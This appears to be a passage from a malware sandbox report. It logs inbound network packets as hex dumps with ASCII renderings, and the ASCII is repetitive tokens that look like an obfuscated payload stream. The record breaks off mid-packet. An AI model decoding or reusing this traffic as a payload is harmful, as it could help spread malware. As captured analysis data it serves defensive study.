2021-11-09 21:21:48 UTC 50 IN Data Raw: 4b 20 74 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4b 6b 20 59 78 20 4f 6b 20 6b 4b 20 4f 4f 
4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 4b 20 4f 78 6b 20 
4f 4f 6f 20 59 78 20 4b 52 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 
78 20 59 59 20 74 51 20 52 52 20 4f 4f 6b 20 4f 78 51 20 4f 6b 20 59 78 20 4b 6b 20 59 78 20 6f 6f 20 6b 4b 20 4f 4f 4b 20 
4f 78 78 20 4f 4f 4b 20 4f 78 6b 20 6f 52 20 51 6b 20 59 78 20 59 4b 20 51 4b 20 78 20 4f 45 20 4f 78 4f 20 4f 4f 6f 20 52 5
2 20 6f 4b 20 4f 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 6f 74 20 4f 78 74 20 6b 6b 20 4f 59 6b 20 4b 6b 20 59 78 20 52 78 
20 4f 6f 78 20 52 6b 20 4f 4f 59 
Data Ascii: K tE OOY OOt OxQ OOE Yx Kk Yx Ok kK OOK OOR OxQ OOo Yx Kk Yx YK kK OOK OxK Oxk OOo Yx KR 
YO YK kK OOQ OOt OxQ OOo RO Kk Yx YY tQ RR OOk OxQ Ok Yx Kk Yx oo kK OOK Oxx OOK Oxk oR Qk Yx YK QK 
x OE OxO OOo RR oK OO YK kK Oox Oot Oxt kk OYk Kk Yx Rx Oox Rk OOY

2021-11-09 21:21:48 UTC 52 IN Data Raw: 59 78 20 59 4b 20 6b 59 20 51 78 20 6f 78 59 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6f 4b 20 52 45 20 59 4b 20 
6b 4b 20 4f 4f 6f 20 51 45 20 6f 4f 45 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 4f 4b 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 
52 51 20 6f 78 6f 20 59 78 20 4b 6b 20 59 52 20 4f 6b 6f 20 51 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 59 20 4f 4b 20 59 52 20 
4b 51 20 59 78 20 59 78 20 4b 74 20 6f 78 4f 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 52 20 59 6b 20 59 4f 20 59 4b 20 6b 
78 20 4f 6f 20 4f 6f 4b 20 4f 78 6b 20 4f 4f 6f 20 59 4b 20 6f 51 20 6f 20 45 6f 20 45 6b 20 6f 6f 6b 20 4f 6f 59 20 4f 78 51 2
0 78 20 45 6b 20 6f 6f 4b 20 52 45 20 59 4b 20 6b 4b 20 4f 4f 6f 20 51 45 20 6f 4f 45 20 4f 4f 6f 20 59 78 20 59 6b 20 45 
74 20 4f 6b 74 20 6f 4f 74 20 4f 
Data Ascii: Yx YK kY Qx oxY OxQ OOo YR ooK RE YK kK OOo QE oOE OOo Yx Yk oR OKE kK OOK Oot RQ oxo Yx Kk 
YR Oko QK OOY OOt OxY OK YR KQ Yx Yx Kt oxO OOt OxQ Ooo tR Yk YO YK kx Oo OoK Oxk OOo YK oQ o Eo Ek 
ook OoY OxQ x Ek ooK RE YK kK OOo QE oOE OOo Yx Yk Et Okt oOt O

2021-11-09 21:21:48 UTC 53 IN Data Raw: 4b 20 4f 6f 45 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 4f 52 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52 
20 4f 78 51 20 4f 4f 6b 20 6f 52 20 6f 45 6b 20 59 78 20 59 4b 20 6b 6f 20 6f 51 20 4f 4b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 
6f 52 20 4f 4f 52 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 6f 4f 4f 20 59 78 20 59 4b 
20 6b 6f 20 6f 51 20 4b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 52 20 52 6b 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52 20 4f 
78 51 20 4f 4f 6b 20 6f 52 20 6f 78 51 20 59 78 20 59 4b 20 6b 6f 20 6b 74 20 6b 6b 20 4f 78 59 20 6b 52 20 45 6b 20 6f 
74 20 59 59 20 45 78 20 74 78 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 45 4f 20 51 59 20 4b 51 20 59 78 20 4b 6b 20 4f 6f 52 20 
59 6f 20 4f 4f 45 20 52 51 20 
Data Ascii: K OoE OxQ OOo Yx Kk OOR Yx OoK oxR OOR OxQ OOk oR oEk Yx YK ko oQ OK Oxk OOo Yo oR OOR Yx 
OoK oxR OOR OxQ OOk oR oOO Yx YK ko oQ K Oxk OOo Yo oR Rk Yx OoK oxR OOR OxQ OOk oR oxQ Yx YK ko kt 
kk OxY kR Ek ot YY Ex tx OOK OOt tx EO QY KQ Yx Kk OoR Yo OOE RQ 

2021-11-09 21:21:48 UTC 57 IN Data Raw: 52 20 4f 45 6b 20 4f 4f 4b 20 4f 78 78 20 4f 78 52 20 4f 78 45 20 4f 78 52 20 45 59 20 59 45 20 45 51 20 6b 45 
20 51 51 20 4f 4f 59 20 6f 6f 74 20 6f 59 20 78 20 4f 4b 52 20 6f 45 52 20 59 45 20 4f 4f 4b 20 4f 74 6f 20 4f 4f 74 20 4f 6f 
4b 20 4f 4f 52 20 51 45 20 52 78 20 59 78 20 59 4b 20 51 4b 20 74 6f 20 4b 4f 20 4f 4b 52 20 4f 4b 45 20 6f 78 59 20 6f 45 
6b 20 52 6f 20 45 51 20 6b 78 20 51 4b 20 4f 4f 4b 20 4f 6f 4b 20 4f 4f 52 20 51 45 20 59 51 20 59 78 20 59 4b 20 51 4b 
20 4f 74 4b 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52 20 4b 6b 20 59 6b 20 45 45 20 4f 6f 20 4f 6f 52 20 4f 6f 59 20 4f 78 
52 20 6f 59 4b 20 51 4f 20 4f 59 20 6f 78 20 6f 78 4f 20 4f 74 4f 20 4f 4b 4f 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52 20 
4b 6b 20 59 6f 20 6f 6b 20 6b 59 
Data Ascii: R OEk OOK Oxx OxR OxE OxR EY YE EQ kE QQ OOY oot oY x OKR oER YE OOK Oto OOt OoK OOR QE 
Rx Yx YK QK to KO OKR OKE oxY oEk Ro EQ kx QK OOK OoK OOR QE YQ Yx YK QK OtK OtO OOx kR oER Kk Yk EE 
Oo OoR OoY OxR oYK QO OY ox oxO OtO OKO OtO OOx kR oER Kk Yo ok kY

2021-11-09 21:21:48 UTC 61 IN Data Raw: 20 6f 6f 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 45 20 6f 52 20 4f 6f 20 4f 6b 6f 20 59 78 20 59 4b 20 6b 4b 
20 51 51 20 4f 78 78 20 6f 20 4f 52 52 20 59 78 20 4b 6b 20 59 52 20 45 51 20 51 6f 20 52 52 20 4f 4b 20 4f 78 52 20 6b 
78 20 59 78 20 4b 6b 20 4f 6b 20 59 45 20 52 6f 20 51 45 20 74 20 4f 6f 4b 20 51 74 20 51 45 20 4f 51 20 59 78 20 59 4b 
20 51 4b 20 6f 51 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 51 20 4f 51 4f 20 4f 4f 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 
20 74 6f 20 4f 78 6f 20 4b 6f 20 4f 6b 51 20 4f 78 4b 20 59 4b 20 6b 4b 20 4f 4f 59 20 6b 78 20 4f 6f 45 20 4f 4f 4f 20 6b 20 
4f 74 45 20 6f 45 20 45 45 20 74 59 20 4b 52 20 6f 45 6f 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 4f 4b 6b 20 52 
74 20 6f 51 20 59 51 20 4f 78 51 20 4f 
Data Ascii:  ooK kK OOK Oot OoE oR Oo Oko Yx YK kK QQ Oxx o ORR Yx Kk YR EQ Qo RR OK OxR kx Yx Kk Ok YE 
Ro QE t OoK Qt QE OQ Yx YK QK oQ kO OxQ OOo YR EQ OQO OOx kK OOK OOR to Oxo Ko OkQ OxK YK kK OOY 
kx OoE OOO k OtE oE EE tY KR oEo Ex to Yx Kk YR OKk Rt oQ YQ OxQ O

2021-11-09 21:21:48 UTC 65 IN Data Raw: 20 4f 4f 74 20 4f 78 45 20 6f 4f 78 20 6f 52 20 6f 4f 52 20 59 78 20 59 4b 20 6b 6f 20 6f 51 20 4f 52 6b 20 4f 78 
51 20 4f 4f 6f 20 59 52 20 59 59 20 51 45 20 6f 6f 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 51 74 20 74 6f 20 4f 74 59 20 4b 6b 
20 59 78 20 59 4b 20 74 78 20 4f 4f 6f 20 51 45 20 74 52 20 4f 4f 6f 20 59 78 20 59 6b 20 52 45 20 52 45 20 45 51 20 6b 
78 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 4f 51 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6b 4f 20 4f 78 51 20 4f 4f 6f 
20 59 52 20 4b 74 20 4b 78 20 45 78 20 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6f 20 4f 74 51 20 59 78 20 59 78 20 74 
78 20 4f 6f 4b 20 6b 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 78 
52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 
Data Ascii:  OOt OxE oOx oR oOR Yx YK ko oQ ORk OxQ OOo YR YY QE oo kK OOK Oot Qt to OtY Kk Yx YK tx OOo 
QE tR OOo Yx Yk RE RE EQ kx OOt OxQ Ooo oR OQ Yx YK QK oQ kO OxQ OOo YR Kt Kx Ex R OOK OOt OxE o OtQ 
Yx Yx tx OoK kQ OOt OxQ Ooo tR KR Yx YK QK oQ OxR OxQ OOo YR 

2021-11-09 21:21:48 UTC 69 IN Data Raw: 4f 4f 51 20 51 45 20 59 51 20 59 78 20 59 4b 20 51 4b 20 4f 74 4b 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52 
20 4b 6b 20 59 6f 20 6f 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4b 4b 20 4f 6f 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 6b 4b 
20 4f 4f 4b 20 6f 45 4f 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 4f 59 52 20 59 78 20 59 4b 20 6b 4b 20 74 52 20 4f 4f 51 20 4f 78 
51 20 4f 4f 6f 20 52 6f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 
20 59 78 20 4f 45 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 4b 4b 20 4f 4f 45 20 59 78 20 4b 6b 20 4f 6f 52 20 59 6f 20 6b 4
b 20 4f 4f 4b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 4f 6f 20 4f 4f 74 20 4f 
78 51 20 4f 4f 6f 20 4f 4b 6b 
Data Ascii: OOQ QE YQ Yx YK QK OtK OtO OOx kR oER Kk Yo ok kK OOK OOt KK Oo Yx Kk Kk YK kK OOK oEO Oxk 
OOo Yx OYR Yx YK kK tR OOQ OxQ OOo Ro Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx OEE kK OOK OOt oKK OOE 
Yx Kk OoR Yo kK OOK OOk OxQ OOo Yx Yk Yx YK kY OOo OOt OxQ OOo OKk
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2021-11-09 21:21:48 UTC 73 IN Data Raw: 45 20 6f 45 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 74 20 45 20 4f 51 51 20 4b 6b 20 59 78 20 4b 6b 20 6b 
6b 20 4f 6f 6f 20 4f 4f 4b 20 6f 20 4f 6f 6b 20 59 78 20 4b 6b 20 59 6f 20 52 6f 20 74 59 20 4f 6f 45 20 6f 4b 6b 20 59 59 20 
4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45 78 20 6f 4b 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 
59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 4b 20 4f 59 20 4b 6b 20 59 4b 20 45 52 20 4f 6f 
20 4f 78 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 4b 20 4b 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 59 51 20 4f 4f 6f 
20 59 78 20 59 4b 20 59 6b 20 45 6f 20 59 51 20 4f 45 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 6b 20 51 59 20 6f 45 74 
20 59 4b 20 6b 4b 20 4f 6f 78 20 
Data Ascii: E oEE kK OOK Oot Oxt E OQQ Kk Yx Kk kk Ooo OOK o Ook Yx Kk Yo Ro tY OoE oKk YY OOo Yx KQ oE oEx 
oKE OOK OOt OxY kk Y Kk Yx Rx EQ tK OOt OxQ Ooo RK OY Kk YK ER Oo Oxt OxQ OOo YR oK KY YK kK Oox oR OY
Q OOo Yx YK Yk Eo YQ OEK OOt OxQ OOk Yk QY oEt YK kK Oox 

2021-11-09 21:21:48 UTC 77 IN Data Raw: 45 52 20 59 78 20 59 4b 20 6b 78 20 6f 59 6f 20 6f 6b 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 45 20 6f 20 4b 51 20 
6b 4b 20 78 20 4f 4f 45 20 4f 78 51 20 4f 4f 6f 20 74 20 4b 6b 20 59 78 20 45 51 20 6b 52 20 51 20 4f 78 4f 20 4f 78 51 20 
4f 4f 6f 20 59 4b 20 59 4f 20 4f 6b 4b 20 4f 52 74 20 74 59 20 4f 6f 74 20 59 45 20 4f 6b 74 20 4f 4f 59 20 59 78 20 4b 6b 
20 4b 6b 20 59 45 20 52 4f 20 4f 78 74 20 4b 59 20 4f 4f 74 20 6b 6b 20 4f 6f 6b 20 4b 6b 20 59 78 20 4b 6b 20 52 74 20 6f 
4b 20 4b 4b 20 78 20 4f 6f 6f 20 45 52 20 59 51 20 4b 6b 20 74 74 20 52 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 6f 20 
4f 52 20 59 78 20 74 45 20 45 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 6f 6f 74 20 6f 59 20 59 74 20 59 78 20 74 6b 20 45 4b 
20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 4f 
Data Ascii: ER Yx YK kx oYo ok tO OOo Yx KE o KQ kK x OOE OxQ OOo t Kk Yx EQ kR Q OxO OxQ OOo YK YO OkK 
ORt tY Oot YE Okt OOY Yx Kk Kk YE RO Oxt KY OOt kk Ook Kk Yx Kk Rt oK KK x Ooo ER YQ Kk tt RK OOK OOt OxY 
Qo OR Yx tE EK kK OOK OOE oot oY Yt Yx tk EK kK OOK OOE O

2021-11-09 21:21:48 UTC 82 IN Data Raw: 6f 52 20 4f 45 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 78 20 51 51 20 59 59 20 59 4f 20 4b 59 20 6b 6f 20 52 6f 
20 52 59 20 4f 4f 78 20 4f 4f 4f 20 4f 4f 4b 20 45 59 20 59 45 20 4b 78 20 45 78 20 6f 45 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 
74 20 4f 78 45 20 6b 6b 20 4f 78 59 20 4b 6b 20 74 74 20 52 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 4b 6f 20 6f 52 20 4f 
6f 6b 20 59 78 20 59 4b 20 6b 6f 20 6b 51 20 4f 78 4b 20 4f 4f 4f 20 4f 4f 4b 20 4b 51 20 45 45 20 59 59 20 6b 6b 20 4f 6f 
20 6f 74 20 4f 4f 4f 20 52 51 20 4f 51 4b 20 59 78 20 4b 6b 20 59 6f 20 45 45 20 52 6f 20 4b 45 20 4f 4f 51 20 6f 6f 20 51 
74 20 59 78 20 4b 6b 20 59 4b 20 4f 78 6b 20 4f 6f 4b 20 4f 51 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 45 59 20 59 6f 20 4
5 74 20 4f 4f 78 20 74 4f 20 4f 4f 
Data Ascii: oR OEo kK OOK OOY x QQ YY YO KY ko Ro RY OOx OOO OOK EY YE Kx Ex oEx OOK OOt Oxt OxE kk 
OxY Kk tt RQ OOK OOt OxY Ko oR Ook Yx YK ko kQ OxK OOO OOK KQ EE YY kk Oo ot OOO RQ OQK Yx Kk Yo EE 
Ro KE OOQ oo Qt Yx Kk YK Oxk OoK OQK OOt OxQ OOk EY Yo Et OOx tO OO

2021-11-09 21:21:48 UTC 86 IN Data Raw: 20 4f 4f 6f 20 59 78 20 59 6b 20 45 45 20 59 4f 20 52 51 20 4f 4f 51 20 51 51 20 51 6f 20 51 52 20 59 45 20 45 
45 20 59 4b 20 4b 51 20 52 51 20 4f 4f 6b 20 6f 45 51 20 4f 6f 45 20 51 74 20 59 59 20 51 59 20 6f 78 78 20 59 4b 20 6b 
4b 20 4f 6f 78 20 6f 4f 59 20 4f 78 52 20 51 74 20 59 4b 20 4f 74 78 20 52 4b 20 4f 4f 20 51 59 20 4f 4f 4b 20 59 20 4f 4f 51 
20 45 4f 20 4f 51 52 20 4b 6b 20 59 78 20 52 78 20 4f 6f 78 20 4f 4f 78 20 4f 4f 51 20 4f 74 20 51 6b 20 59 78 20 4b 6b 20 
59 4b 20 45 51 20 6b 78 20 4f 78 4f 20 4b 59 20 52 51 20 4f 78 51 20 59 78 20 4b 6b 20 6f 59 20 59 6f 20 4b 74 20 51 52 
20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 45 59 20 59 6f 20 59 45 20 45 51 20 6b 78 20 6f 45 6f 20 6f 4f 59 20 4f 6f 4b 20 4f 4f 
52 20 45 74 20 4f 78 4b 20 45 45 20 59 
Data Ascii:  OOo Yx Yk EE YO RQ OOQ QQ Qo QR YE EE YK KQ RQ OOk oEQ OoE Qt YY QY oxx YK kK Oox oOY O
xR Qt YK Otx RK OO QY OOK Y OOQ EO OQR Kk Yx Rx Oox OOx OOQ Ot Qk Yx Kk YK EQ kx OxO KY RQ OxQ Yx Kk 
oY Yo Kt QR OOt OxQ OOR EY Yo YE EQ kx oEo oOY OoK OOR Et OxK EE Y

2021-11-09 21:21:48 UTC 90 IN Data Raw: 20 4b 51 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4f 4b 20 74 45 20 45 74 20 59 78 20 59 4b 
20 6b 78 20 6b 6b 20 4f 4f 78 20 51 45 20 4f 4f 4b 20 59 78 20 6f 78 6f 20 59 78 20 59 4b 20 6b 4b 20 74 51 20 4f 4f 74 20 
4f 78 51 20 51 74 20 52 59 20 52 45 20 59 4f 20 59 4b 20 51 4b 20 4f 6f 78 20 4f 4f 6b 20 6f 20 51 52 20 59 4f 20 4b 6b 20 
59 52 20 52 4f 20 4f 78 6b 20 4f 6b 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 45 20 51 59 20 45 59 20 59 59 20 6b 4b 20 
4f 6f 78 20 4f 6f 4f 20 4f 4f 4f 20 6b 6b 20 6f 4b 74 20 4b 6b 20 59 78 20 4b 6b 20 51 6f 20 6f 51 20 6f 4f 52 20 4f 78 6b 20 
4f 4f 6f 20 59 6f 20 6f 4b 20 6f 4b 51 20 59 4b 20 6b 4b 20 4f 4f 52 20 74 52 20 4f 51 6f 20 4f 4f 6f 20 59 78 20 4b 6b 20 52 
59 20 4f 4b 6f 20 6b 4b 20 4f 4f 
Data Ascii:  KQ Rx kK OOK OOR OOY OOK tE Et Yx YK kx kk OOx QE OOK Yx oxo Yx YK kK tQ OOt OxQ Qt RY RE 
YO YK QK Oox OOk o QR YO Kk YR RO Oxk OkK OOt OxQ OOo YE QY EY YY kK Oox OoO OOO kk oKt Kk Yx Kk Qo 
oQ oOR Oxk OOo Yo oK oKQ YK kK OOR tR OQo OOo Yx Kk RY OKo kK OO

2021-11-09 21:21:48 UTC 94 IN Data Raw: 20 59 78 20 59 6b 20 51 45 20 74 20 6b 59 20 4f 4f 4b 20 4f 6f 74 20 4f 78 4f 20 51 78 20 59 78 20 4b 6b 20 4b 
4f 20 52 20 6b 74 20 4f 4f 4b 20 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 52 20 59 78 20 59 4b 20 52 51 20 4f 78 78 
20 51 45 20 4f 6b 6b 20 4f 4f 6f 20 59 78 20 59 4b 20 59 52 20 45 78 20 4f 78 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 45 20 45 4f
20 4f 20 4b 51 20 59 78 20 52 78 20 6b 6b 20 51 52 20 4f 4f 51 20 52 51 20 52 6b 20 59 4f 20 4b 6b 20 59 52 20 51 78 20 
6b 6f 20 4b 78 20 51 45 20 51 59 20 4f 4f 45 20 59 78 20 59 6b 20 51 45 20 59 20 6b 59 20 4f 4f 4b 20 4f 6f 74 20 51 74 
20 51 6b 20 4b 6b 20 6f 4b 20 74 20 59 59 20 6b 4b 20 4f 6f 78 20 6f 59 20 4f 78 74 20 4b 6f 20 59 74 20 6b 51 20 59 45 
20 51 59 20 45 51 20 52 6b 20 4f 4f 52 20 4f 
Data Ascii:  Yx Yk QE t kY OOK Oot OxO Qx Yx Kk KO R kt OOK Ko OxQ OOo Yx OOR Yx YK RQ Oxx QE Okk OOo Yx 
YK YR Ex Oxo OOY OOt OxE EO O KQ Yx Rx kk QR OOQ RQ Rk YO Kk YR Qx ko Kx QE QY OOE Yx Yk QE Y kY OOK 
Oot Qt Qk Kk oK t YY kK Oox oY Oxt Ko Yt kQ YE QY EQ Rk OOR O

2021-11-09 21:21:48 UTC 97 IN Data Raw: 4b 74 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6b 6b 20 4f 6f 52 20 4b 51 20 59 78 20 52 78 20 4b 6f 20 6b 6f 20 4f 
4f 52 20 4f 78 51 20 4f 4f 52 20 6f 45 20 6f 51 20 45 74 20 4f 52 20 4b 6f 20 4f 78 6b 20 4f 4f 52 20 4f 78 51 20 4f 4f 52 20 
6f 78 4b 20 59 4b 20 4f 6b 20 59 6f 20 6b 4b 20 4f 4f 52 20 52 20 45 6f 20 4f 4f 45 20 59 78 20 59 6b 20 6f 45 20 4f 6b 6f 
20 4f 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 6f 45 20 4b 6b 20 59 78 20 6f 51 20 4f 6f 4b 20 6b 4b 20 4f 4f 74 
20 4f 78 51 20 51 4f 20 51 45 20 4f 6f 74 20 59 4f 20 59 4b 20 51 4b 20 6f 51 20 45 74 20 4f 78 6b 20 4f 4f 6f 20 59 52 20 
51 59 20 51 51 20 59 59 20 6b 4b 20 4f 6f 78 20 4f 6f 74 20 74 78 20 74 74 20 59 6f 20 51 59 20 51 52 20 59 59 20 6b 4b 
20 4f 6f 78 20 4f 6f 52 20 4f 78 
Data Ascii: Kt OOK OOt OxQ kk OoR KQ Yx Rx Ko ko OOR OxQ OOR oE oQ Et OR Ko Oxk OOR OxQ OOR oxK YK Ok 
Yo kK OOR R Eo OOE Yx Yk oE Oko OOR OOY OOt OxY kk oE Kk Yx oQ OoK kK OOt OxQ QO QE Oot YO YK QK oQ 
Et Oxk OOo YR QY QQ YY kK Oox Oot tx tt Yo QY QR YY kK Oox OoR Ox

2021-11-09 21:21:48 UTC 101 IN Data Raw: 20 4f 6f 4b 20 4f 4f 52 20 45 59 20 59 4b 20 45 6b 20 6b 51 20 4f 6b 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 
4f 20 4f 6b 4f 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 4f 6b 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 51 45 20 4f 52 51 
20 59 4f 20 59 4b 20 6b 6f 20 51 51 20 4f 4f 45 20 6f 20 6f 45 6f 20 59 4f 20 4b 6b 20 59 6f 20 6f 52 20 74 6b 20 51 51 20 
4f 4f 45 20 4f 6f 4b 20 4f 4f 52 20 51 45 20 4f 52 6b 20 59 4f 20 59 4b 20 6b 6f 20 51 78 20 4f 4f 20 4f 78 6b 20 4f 4f 6f 20 
59 52 20 51 59 20 74 74 20 59 59 20 6b 4b 20 4f 6f 78 20 6f 52 20 6f 59 78 20 4f 4f 45 20 59 78 20 59 4b 20 6f 59 20 59 6b
20 52 51 20 4f 4f 6b 20 74 20 4f 4f 6b 20 4f 6f 74 20 59 78 20 52 4b 20 51 45 20 4f 52 4f 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 
4f 78 74 20 51 74 20 59 4b 20 
Data Ascii:  OoK OOR EY YK Ek kQ OkY OOK OOt OxE EO OkO Kk Yx Rx OoK OkK OOt OxQ OOk QE ORQ YO YK ko 
QQ OOE o oEo YO Kk Yo oR tk QQ OOE OoK OOR QE ORk YO YK ko Qx OO Oxk OOo YR QY tt YY kK Oox oR oYx 
OOE Yx YK oY Yk RQ OOk t OOk Oot Yx RK QE ORO kY OOK OOY Oxt Qt YK 
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2021-11-09 21:21:48 UTC 105 IN Data Raw: 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 
51 4b 20 4f 78 51 20 4f 6f 45 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 45 6f 20 4f 74 51 20 4f 4f 74 20 
4f 78 51 20 4f 4f 52 20 6f 52 20 74 20 59 78 20 59 4b 20 51 4b 20 4f 20 74 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 45 20 
59 6b 20 45 78 20 4f 6f 74 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 20 74 59 20 4b 51 20 59 78 20 52 78 20 74 4f 20 4f 6f 
45 20 4f 78 78 20 4f 78 78 20 45 4f 20 52 59 20 4b 51 20 59 78 20 52 78 20 74 4f 20 4f 6f 78 20 4f 78 78 20 4f 78 45 20 45 
4f 20 74 78 20 4b 51 20 59 78 20 52 78 20 74 4f 20 4f 4f 52 20 51 4b 20 4f 59 20 51 74 20 59 6f 20 51 59 20 74 4f 20 59 
59 20 6b 4b 20 4f 6f 78 20 4f 78 6f 20 
Data Ascii:  Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK OxQ OoE ooK Ko Yx Kk YO OQ OEo OtQ OOt OxQ OOR oR t 
Yx YK QK O tt OxQ OOo YR EE Yk Ex Oot OOK OOt OxE E tY KQ Yx Rx tO OoE Oxx Oxx EO RY KQ Yx Rx tO Oox Oxx 
OxE EO tx KQ Yx Rx tO OOR QK OY Qt Yo QY tO YY kK Oox Oxo 

2021-11-09 21:21:48 UTC 109 IN Data Raw: 20 6f 4b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4b 45 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 78 20 59 4f 20 59 4b 20 
6b 4b 20 4f 6f 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20
4f 78 51 20 4f 4f 6b 20 59 78 20 4b 6b 20 59 78 20 6f 6b 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 51 45 20 4f 4f 45 20 59 78 20 
4b 6b 20 4b 51 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 45 20 6f 20 59 45 20 6b 4b 
20 4b 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 51 51 20 4b 6b 20 59 78 20 45 51 20 45 51 20 6f 4f 45 20 4f 4f 74 20 4f 78 5
1 20 4f 6f 6f 20 59 52 20 6f 4b 20 4f 6b 78 20 59 59 20 6b 4b 20 4f 6f 78 20 51 45 20 52 51 20 4f 4f 6f 20 59 78 20 6f 74 20 
74 52 20 6f 4f 20 6b 59 20 4f 
Data Ascii:  oK YK kK OOK OKE OxQ OOo Yx ox YO YK kK Oox OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOk Yx 
Kk Yx ok kY OOK OOt QE OOE Yx Kk KQ YK kK OOK Oot OxQ OOo YO KE o YE kK KQ OOt OxQ OOo QQ Kk Yx EQ 
EQ oOE OOt OxQ Ooo YR oK Okx YY kK Oox QE RQ OOo Yx ot tR oO kY O

2021-11-09 21:21:48 UTC 114 IN Data Raw: 4f 4f 6b 20 52 4b 20 59 59 20 4b 6b 20 4f 6f 59 20 59 4b 20 6b 4b 20 4f 4f 4b 20 45 6f 20 4f 78 51 20 4f 4f 6f 20 
45 59 20 59 78 20 45 74 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 45 52 20 4b 74 20 4f 4f 78 20 
4f 74 4f 20 52 74 20 6f 51 20 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 6b 20 59 6f 20 4b 6b 20 6f 4f 6b 20 6f 74 20 4f 78 
